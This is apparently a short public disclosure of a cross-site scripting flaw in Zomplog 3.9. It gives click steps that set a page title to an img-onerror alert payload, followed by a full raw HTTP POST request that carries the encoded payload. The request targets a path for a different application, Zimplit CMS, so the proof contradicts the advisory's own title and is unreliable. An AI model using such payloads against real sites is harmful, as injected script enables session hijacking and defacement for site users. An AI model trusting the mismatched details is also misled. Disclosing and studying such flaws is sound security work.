Zomplog 3.9 Exploit, Cross-site scripting (XSS)

Exploit Title: Zomplog 3.9 - Cross-site scripting (XSS)
Application: Zomplog
Version: v3.9
Bugs:  XSS
Technology: PHP
Vendor URL: http://zomp.nl/zomplog/
Software Link: http://zomp.nl/zomplog/downloads/zomplog/zomplog3.9.zip
Date of found: 22.07.2023
Author: Mirabbas A─čalarov
Tested on: Linux

2. Technical Details & POC
1. Login to account
2. Add new page
3. Set as <img src=x onerror=alert(4)>
4. Go to menu

Poc request:

POST /zimplitcms/zimplit.php?action=copyhtml&file=index.html&newname=img_src=x_onerror=alert(5).html&title=%3Cimg%20src%3Dx%20onerror%3Dalert(5)%3E HTTP/1.1
Host: localhost
Content-Length: 11
Accept: */*
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
sec-ch-ua-platform: ""
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/zimplitcms/zimplit.php?action=load&file=index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ZsessionLang=en; ZsessionId=tns0pu8urk9nl78nivpm; ZeditorData=sidemenuStatus:open
Connection: close


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